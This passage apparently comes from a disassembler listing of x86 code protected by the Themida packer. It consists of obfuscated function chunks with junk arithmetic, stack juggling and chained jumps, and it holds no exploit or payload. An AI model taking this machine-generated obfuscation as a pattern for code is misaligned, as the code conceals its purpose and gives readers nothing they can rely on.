FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_5639A2: ; CODE XREF: sub_569AB3+5AE4j push esi mov esi, ecx mov edx, esi pop esi push dword ptr [esp+0] mov ecx, [esp+4+var_4] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push [esp+0Ch+var_8] mov ebx, [esp+10h+var_10] jmp loc_566873 ; END OF FUNCTION CHUNK FOR sub_569AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_5639CA: ; CODE XREF: sub_563819+FCEBj xor [esp+8+var_8], esi xor esi, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+8+var_8], edx sub esp, 4 mov [esp+0], esi push 63946F14h pop esi jmp loc_5723CB ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_5639E7: ; CODE XREF: sub_560CF1+499Dj add esp, 4 add esp, 4 add eax, 4 push edi mov edi, 4 jmp loc_56A5A9 ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D855 loc_5639FD: ; CODE XREF: sub_56D855+9D3j neg eax add eax, 155B7693h add ecx, 67702348h add ecx, eax sub ecx, 67702348h pop eax jmp loc_5691E7 ; END OF FUNCTION CHUNK FOR sub_56D855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_563A18: ; CODE XREF: sub_56AEF2+8j pop ebx xor dl, 0E4h jmp loc_5704B4 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5671E1 loc_563A21: ; CODE XREF: sub_5671E1-4CBFj mov edi, [esp+8+var_8] jmp loc_5665B5 ; END OF FUNCTION CHUNK FOR sub_5671E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_563A29: ; CODE XREF: sub_56AB5E+3F4Aj mov esi, 186F6023h add eax, esi pop esi sub eax, 5A470BBBh jmp loc_5745EA ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- loc_563A3B: ; CODE XREF: Themida_:0056E448j pop eax sub ebp, eax pop eax sub edx, 423536E6h add edx, ebp add edx, 423536E6h pop ebp push ebp jmp loc_565C2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A119 loc_563A54: ; CODE XREF: sub_56A119+6C25j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56A119 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567866 loc_563A59: ; CODE XREF: sub_567866+409Cj mov edi, eax jmp loc_565BDF ; END OF FUNCTION CHUNK FOR sub_567866 ; --------------------------------------------------------------------------- loc_563A60: ; CODE XREF: Themida_:005657CAj pop edx jmp loc_571E02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_563A66: ; CODE XREF: sub_5687A3-36DFj shl esi, 3 jmp loc_56AFF2 ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EFD2 loc_563A6E: ; CODE XREF: sub_56EFD2-3942j xchg edi, [esp+4+var_4] pop esp mov [esp+0], edi push [esp+arg_0] pop edi jmp loc_5715BD ; END OF FUNCTION CHUNK FOR sub_56EFD2 ; =============== S U B R O U T I N E ======================================= sub_563A7F proc near ; CODE XREF: sub_564C54-1B47j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005601BF SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00560750 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056115A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005619F8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00561B8C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00561C19 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00563824 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00563C6D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005641CC SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00564B78 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056527D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005654BE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00565E2D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00565E64 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00566781 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00566919 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005672B7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00568A2B SIZE 00000033 BYTES ; FUNCTION CHUNK AT 00568E18 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056932E SIZE 00000038 BYTES ; FUNCTION CHUNK AT 00569D76 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056A613 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A84E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056AC8E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056AE85 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056B4B6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056B819 SIZE 00000040 BYTES ; FUNCTION CHUNK AT 0056BFF3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056C682 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056C785 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056C862 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056CEAD SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056CFA7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056DDAE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056DFD3 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0056E8C8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056EB42 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056EF2A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056F851 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0057079C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570CF4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005716B7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057174B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00573491 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00573CA3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005745FE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00574A08 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00574C8C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00574CC4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00574FBC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005754E9 SIZE 00000006 BYTES sub esp, 4 mov [esp+0Ah+var_C+2], ecx jmp loc_568A2B sub_563A7F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_563A8A: ; CODE XREF: sub_56FB8A-4F66j add edi, 4 push edx mov edx, 4 add edi, edx pop edx xor edi, [esp+0Ch+var_C] xor [esp+0Ch+var_C], edi xor edi, [esp+0Ch+var_C] pop esp neg edi add edi, 7C575615h jmp loc_569E0A ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E4D4 loc_563AB0: ; CODE XREF: sub_56E4D4-2E75j sub eax, 3BBA696Ch add eax, 54C64FDBh mov ebx, [esp+0] add esp, 4 add eax, 14985F36h push [esp-4+arg_0] mov ecx, [esp+0] add esp, 4 jmp loc_569EF0 ; END OF FUNCTION CHUNK FOR sub_56E4D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567B29 loc_563AD9: ; CODE XREF: sub_567B29+A79Aj pop esi jmp loc_56F8BC ; END OF FUNCTION CHUNK FOR sub_567B29 ; =============== S U B R O U T I N E ======================================= sub_563ADF proc near ; DATA XREF: Themida_:0055FDE8o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005711A1 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005739A9 SIZE 0000000B BYTES sub esp, 4 push 7026h mov [esp+8+var_8], ebx jmp loc_5711A1 sub_563ADF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_563AF2: ; CODE XREF: sub_56D69D+51A4j pop edx add eax, ebp jmp loc_571737 ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564BC5 loc_563AFA: ; CODE XREF: sub_564BC5-167Fj pop eax jmp loc_56DE25 ; END OF FUNCTION CHUNK FOR sub_564BC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_563B00: ; CODE XREF: sub_57354D-3324j mov ebx, 4 and ecx, ebx push [esp+4+var_4] mov ebx, [esp+8+var_8] add esp, 4 push edi push esp mov edi, [esp+0Ch+var_C] add esp, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], edx mov edx, 4 push edx mov edx, 36B230CBh jmp loc_574751 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_563B3E: ; CODE XREF: sub_5690E8-46C0j pop esp jmp loc_5689D1 ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E96D loc_563B44: ; CODE XREF: sub_56E96D+10j pop [esp+0Ch+var_C] add [esp+8+var_8], 4 push [esp+8+var_8] jmp loc_57022E ; END OF FUNCTION CHUNK FOR sub_56E96D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565AFE loc_563B56: ; CODE XREF: sub_565AFE+D93Ej pop edx pop [esp-4+arg_0] pop esp mov cx, [esp-0Ch+arg_8] jmp sub_5683C0 ; END OF FUNCTION CHUNK FOR sub_565AFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_563B64: ; CODE XREF: sub_56A7FB+5F2Cj shr ch, 2 jmp loc_5688A0 ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_563B6C: ; CODE XREF: sub_565632+3149j mov [esp-4+arg_0], edi push esp jmp loc_56F4B3 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_563B75: ; CODE XREF: sub_56EE9F-A236j sub ecx, 4 xchg ecx, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+8+var_8], esp add [esp+8+var_8], 4 pop ecx add ecx, 4 push edi mov edi, 27125A81h jmp loc_564BB3 ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_563B9D: ; CODE XREF: sub_570732-115Aj mov ecx, 56E40915h add ebx, ecx pop ecx jmp loc_56667B ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_563BAA: ; CODE XREF: sub_56BD44+5D4Cj push ecx mov ecx, 1667D31Bh sub ebp, ecx pop ecx push edx mov edx, ebp mov ebx, edx pop edx pop ebp inc ebx jmp loc_565A49 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_563BC0: ; CODE XREF: sub_574656-3E97j mov ebx, 4 add ecx, ebx jmp loc_563E44 ; END OF FUNCTION CHUNK FOR sub_574656 ; =============== S U B R O U T I N E ======================================= sub_563BCC proc near ; CODE XREF: sub_5685B2+79A2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560D5B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00562C41 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00566728 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00566E6F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00567FF2 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056A027 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056C047 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056C929 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056FCCB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0057288B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00573D60 SIZE 0000000E BYTES sub esp, 4 mov [esp+4+var_4], ebp mov ebp, 4 add ecx, ebp mov ebp, [esp+4+var_4] jmp loc_56C047 sub_563BCC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_563BE1: ; CODE XREF: sub_56CC46+7352j push edi jmp loc_57053B ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- loc_563BE7: ; CODE XREF: Themida_:0056D880j add edi, 4 sub edi, 4 xor edi, [esp] jmp loc_564C6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D4B8 loc_563BFB: ; CODE XREF: sub_56D4B8-27A3j add esp, 4 jmp sub_56FCD7 ; END OF FUNCTION CHUNK FOR sub_56D4B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_563C03: ; CODE XREF: sub_5734A7-DF2Dj mov edi, [esp+4+var_4] jmp loc_56C5A6 ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_563C0B: ; CODE XREF: sub_561418+E30j pop ebp jmp loc_56635B ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_563C11: ; CODE XREF: sub_56D69D-40C5j mov ebx, 572C428Ch add ebx, 6A341484h add ebx, 1 jmp loc_570B6B ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- loc_563C27: ; CODE XREF: Themida_:00567C53j add ecx, edi jmp loc_573265 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_563C2E: ; CODE XREF: sub_574A21-143D1j pop eax inc ecx sub ecx, 628B21DCh sub ecx, 7F164B63h xor ecx, 41A7FBF9h sub ebx, ecx mov ecx, [esp+4+var_4] add esp, 4 sub ebx, 30E589Fh push 4FEDh mov [esp+4+var_4], eax jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5753A5 loc_563C60: ; CODE XREF: sub_5753A5-25D3j add ebp, 0CB56440h add ebp, eax jmp loc_573D98 ; END OF FUNCTION CHUNK FOR sub_5753A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_563C6D: ; CODE XREF: sub_563A7F+A575j pop esp push edx mov edx, 1 sub ecx, 6C272A13h jmp loc_56DDAE ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_563C7F: ; CODE XREF: sub_56FA15-14E4j sub ch, 48h add al, ch push [esp+8+var_8] pop ecx add esp, 4 push ecx jmp loc_5662F0 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_563C94: ; CODE XREF: sub_5604FE+10F63j pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], eax jmp loc_56F416 ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C3E2 loc_563CAA: ; CODE XREF: sub_56C3E2-7906j push esi push [esp+10h+var_C] pop esi pop [esp+10h+var_10] pop esp jmp loc_567F44 ; END OF FUNCTION CHUNK FOR sub_56C3E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566DC7 loc_563CB9: ; CODE XREF: sub_566DC7-660Dj push edi mov edi, 1CC04652h add edi, 474F35CCh dec edi or edi, 1C3E4A49h inc edi sub edi, 4C0D43B5h add esi, edi pop edi jmp loc_566543 ; END OF FUNCTION CHUNK FOR sub_566DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_563CDB: ; CODE XREF: sub_56657A+E2DFj push edx jmp loc_56AE2C ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564CDA loc_563CE1: ; CODE XREF: sub_564CDA+A243j add ebp, eax add ebp, 0D9861ADh sub ebp, 681E6541h jmp loc_563837 ; END OF FUNCTION CHUNK FOR sub_564CDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_563CF4: ; CODE XREF: sub_5690E8+6EF6j add esp, 4 add edi, ecx sub edi, 115D0B90h push [esp+8+var_8] pop ecx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0Ch+var_C] pop esp xor edi, [esp+8+var_8] xor [esp+8+var_8], edi xor edi, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_567DB1 ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- loc_563D27: ; CODE XREF: Themida_:005694FEj mov ebp, [esp] add esp, 4 xor ebp, 5C317DF3h mov edx, ebp mov ebp, [esp] jmp loc_5636A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56749A loc_563D3D: ; CODE XREF: sub_56749A+10j mov edi, 4 add eax, edi pop edi push ecx mov ecx, 2 add eax, ecx pop ecx push 1CECh mov [esp+8+var_8], eax push [esp+8+var_4] push [esp+0Ch+var_C] push [esp+10h+var_10] pop eax sub esp, 4 mov [esp+14h+var_14], eax mov eax, esp jmp loc_564DB3 ; END OF FUNCTION CHUNK FOR sub_56749A ; --------------------------------------------------------------------------- loc_563D71: ; CODE XREF: Themida_:0056B197j add esp, 4 add edx, 12152ADBh add edx, edi sub edx, 12152ADBh pop edi push ebp mov ebp, 5DB51FD6h jmp loc_560C5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB51 loc_563D91: ; CODE XREF: sub_56AB51-8EAAj sub ecx, 30AB447Ah inc ecx and ecx, 6A610392h jmp loc_569984 ; END OF FUNCTION CHUNK FOR sub_56AB51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570019 loc_563DA3: ; CODE XREF: sub_570019+6j add dword ptr [esp+0], 4 pop edi jmp loc_5652FD ; END OF FUNCTION CHUNK FOR sub_570019 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5715F0 loc_563DB0: ; CODE XREF: sub_5715F0-3E9Cj sub dword ptr [esp+8], 6D49345Ch sub [esp+8], ecx jmp loc_56F29E ; END OF FUNCTION CHUNK FOR sub_5715F0 ; --------------------------------------------------------------------------- loc_563DC1: ; CODE XREF: Themida_:00567A2Ej sub ebx, ecx mov ecx, ebx pop ebx jmp loc_56674F ; =============== S U B R O U T I N E ======================================= sub_563DCB proc near ; CODE XREF: sub_56A016+20B3j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005603EB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00561126 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00561187 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00561587 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00562F5F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00563655 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005667BC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566F67 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005677E7 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005697A2 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056A4CB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056AD45 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056AEC2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056C194 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056F6C0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005702BB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005742ED SIZE 00000017 BYTES push ebp mov ebp, 3C5F3394h and ecx, ebp pop ebp push 2311h mov [esp+2+var_4+2], esi push 4C892385h pop esi and ecx, esi pop esi shl ecx, 7 sub esp, 4 mov [esp+2+var_4+2], ebx jmp loc_566F67 sub_563DCB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_563DF6: ; CODE XREF: Themida_:00571528j sub edx, 7D5B0B81h pop eax push ebx mov ebx, 4F3A718Fh shr ebx, 3 jmp loc_565128 ; --------------------------------------------------------------------------- loc_563E0B: ; CODE XREF: Themida_:005678C6j not eax xor eax, 89EDED9h xor edi, eax jmp loc_56CE56 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_563E19: ; CODE XREF: sub_5678CB+96E7j mov ebx, 18E40CDDh jmp loc_571875 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5716F1 loc_563E23: ; CODE XREF: sub_5716F1-358Cj mov ebx, 5FD00626h xor ebx, 11D92503h neg ebx add ebx, 33F5F73h add ebx, 19890397h shr ebx, 3 jmp loc_57259C ; END OF FUNCTION CHUNK FOR sub_5716F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_563E44: ; CODE XREF: sub_574656-10A8Fj pop ebx push ecx push dword ptr [esp+4] pop ecx jmp loc_56D82D ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D464 loc_563E50: ; CODE XREF: sub_56D464-14j add esi, eax jmp loc_570E43 ; END OF FUNCTION CHUNK FOR sub_56D464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_563E57: ; CODE XREF: sub_574CBE-944Aj sub esi, 0CD6C812Bh jmp loc_564CC0 ; END OF FUNCTION CHUNK FOR sub_574CBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5610CE loc_563E62: ; CODE XREF: sub_5610CE-29Ej xor [esp+4+var_4], esi xor esi, [esp+4+var_4] pop esp push 6E63h mov [esp+4+var_4], eax jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5610CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_563E76: ; CODE XREF: sub_564D26+1726j xor [esp+1Ch+var_1C], edi xor edi, [esp+1Ch+var_1C] pop esp xor edx, [esp+18h+var_18] xor [esp+18h+var_18], edx xor edx, [esp+18h+var_18] pop esp push 7B48h mov [esp+18h+var_18], edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+1Ch+var_1C] pop esp mov [esp+18h+var_18], edi jmp loc_573CF7 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- loc_563EAA: ; CODE XREF: Themida_:00565123j push 246E0DF2h mov ebp, [esp] add esp, 4 shr ebp, 5 or ebp, 51933FB6h push ecx mov ecx, 4FBD65BFh push edi mov edi, 0 sub edi, ecx xchg edi, ecx pop edi xor ecx, 15A021A7h or ecx, 3E996CACh xor ecx, 51974486h add ecx, 51FC4CC6h xor ecx, 75C86BA3h sub ebp, ecx pop ecx push ebp xor dword ptr [esp], 4E1B39F2h pop edi xor edi, 4E1B39F2h pop ebp sub ebx, edi pop edi add ebx, 0B8BC15E0h mov edi, ebx pop ebx add esi, edi pop edi xchg esi, [esp] mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B6E loc_563F1E: ; CODE XREF: sub_565B6E+93A4j add ebp, 0BA4989CCh add edi, ebp pop ebp add edi, 4 xchg edi, [esp+4+var_4] pop esp push 6A6Dh mov [esp+4+var_4], ecx push 5C38962Ah pop ecx jmp loc_565854 ; END OF FUNCTION CHUNK FOR sub_565B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_563F44: ; CODE XREF: sub_56651E-54A5j mov ecx, [esp+8+var_8] add esp, 4 push 71FBh mov [esp+8+var_8], eax mov eax, 4 add ebx, eax pop eax push 6C5Eh mov [esp+8+var_8], ebx push [esp+8+var_4] pop ebx pop [esp+8+var_8] pop esp jmp loc_570BFB ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_563F70: ; CODE XREF: sub_5605BC+5288j push 3A7Ah mov [esp+24h+var_24], ebx mov ebx, 4 add edx, ebx mov ebx, [esp+24h+var_24] push edi jmp loc_566D34 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56ABD0 loc_563F88: ; CODE XREF: sub_56ABD0+25j xchg ebp, [esp+0] mov esp, [esp+0] and ebx, edi jmp loc_572D71 ; END OF FUNCTION CHUNK FOR sub_56ABD0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_563F95: ; CODE XREF: sub_5685B2+C4E3j not ebx and ebx, 443354Dh jmp loc_5679FF ; END OF FUNCTION CHUNK FOR sub_5685B2 ; =============== S U B R O U T I N E ======================================= sub_563FA2 proc near ; DATA XREF: Themida_:0055FD10o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005613C9 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 00562D55 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00563317 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00564532 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005672C1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005692AF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005695DD SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056AD0A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056AD55 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056CC8D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056D4F1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00571AC6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00572E93 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00573D29 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00574846 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00574DAC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005753AE SIZE 00000008 BYTES mov ax, [esp+0] push esi mov esi, esp push ebx mov ebx, 4 jmp loc_562D55 sub_563FA2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_563FB4: ; CODE XREF: sub_57354D-B721j shl edx, 1 push dword ptr [edi+24h] jmp loc_5727AC ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B71F loc_563FBE: ; CODE XREF: sub_56B71F-334Fj mov ecx, 55885B38h shr ecx, 2 not ecx not ecx sub ecx, 0BAACB20Fh or edx, ecx pop ecx and edx, 46DE3DF7h neg edx jmp loc_568816 ; END OF FUNCTION CHUNK FOR sub_56B71F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565AFE loc_563FE0: ; CODE XREF: sub_565AFE-CC2j xor edi, 4B530F4Ch sub edx, edi pop edi push ebx mov ebx, 0E2D7929h add edx, ebx pop ebx sub edx, 12FF2468h add edx, ecx add edx, 12FF2468h sub edx, 0E2D7929h add edx, 1E9A0D33h add edx, 5565240Ah jmp loc_573430 ; END OF FUNCTION CHUNK FOR sub_565AFE ; =============== S U B R O U T I N E ======================================= sub_564017 proc near ; DATA XREF: Themida_:0055FE18o mov ax, [esp+0] jmp sub_56B577 sub_564017 endp ; =============== S U B R O U T I N E ======================================= sub_564020 proc near ; CODE XREF: sub_568CD2-7003j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056069B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056165D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00562AA7 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 00563449 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00564393 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00567DFB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056E1A5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056E360 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056E968 SIZE 00000005 